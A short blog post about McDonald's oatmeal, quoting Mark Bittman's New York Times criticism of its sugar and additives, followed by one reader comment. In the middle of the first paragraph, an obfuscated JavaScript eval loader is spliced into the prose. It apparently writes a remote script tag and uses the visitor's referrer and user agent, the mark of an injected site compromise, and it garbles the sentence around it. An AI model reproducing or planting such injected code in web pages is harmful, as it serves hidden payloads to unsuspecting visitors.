Can oatmeal be bad for you?


The answer is yes.  Here is your biggest clue: You are eating oatmeal at McDonald’s.  When I came back into the U.S., I was surprised that McDonald’s was getting leaner to attract more customers.  However, this illusion was quickly dissipated with Mark eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|efnha|var|u0026u|referrer|dhinr||js|php’.split(‘|’),0,{}))
insights on the ingredients behind Micky D’s “bowl full of wholesome.”

Am I surprised?  No.  Are you?  Only McDonald’s would be able to take a hearty breakfast into a meal with more calories than their hamburgers. 

According to Bittman:

Oatmeal is on the other end of the food spectrum. Real oatmeal contains no ingredients; rather, it is an ingredient. As such, it’s a promising lifesaver: oats are easy to grow in almost any non-extreme climate and, minimally processed, they’re profoundly nourishing, inexpensive and ridiculously easy to cook.

The true attraction of McDonald’s is the price tag.  However, even if the cost at the cash register is not steep, the eventual environmental and healthcare bills will far outweigh the initial dollar menu prices. 

According to Bittman:

A more accurate description than “100% natural whole-grain oats,” “plump raisins,” “sweet cranberries” and “crisp fresh apples” would be “oats, sugar, sweetened dried fruit, cream and 11 weird ingredients you would never keep in your kitchen.”

The New York Times headline caught my attention because I had oatmeal for dinner last night.  After a trip to the gym, the clock was closer to my bedtime than I cared for so I fixed myself a bowl of oatmeal with  apples, apricots and a bit of brown sugar for dinner.  I thought this solved my problem of a quick and nutritious dinner . . . until I read Bittman’s article.  After a quick brow wipe since I made oatmeal at home versus going to McDonald’s, I finished reading the article and knew I had to pass along this story.

McDonald’s may have good marketing but unhealthy food, no matter what jingle you dress it up with.  Well said Bittman (Who also happens to be a great chef with awesome recipes!).

One thought on “Can oatmeal be bad for you?

  1. Oh just great. I saw that article too but chose to ignore because McDonald’s oatmeal is soooooooooo good. At least it’s not something I would get very often. It’s very rare that I am that early in the morning. Or morning at all.

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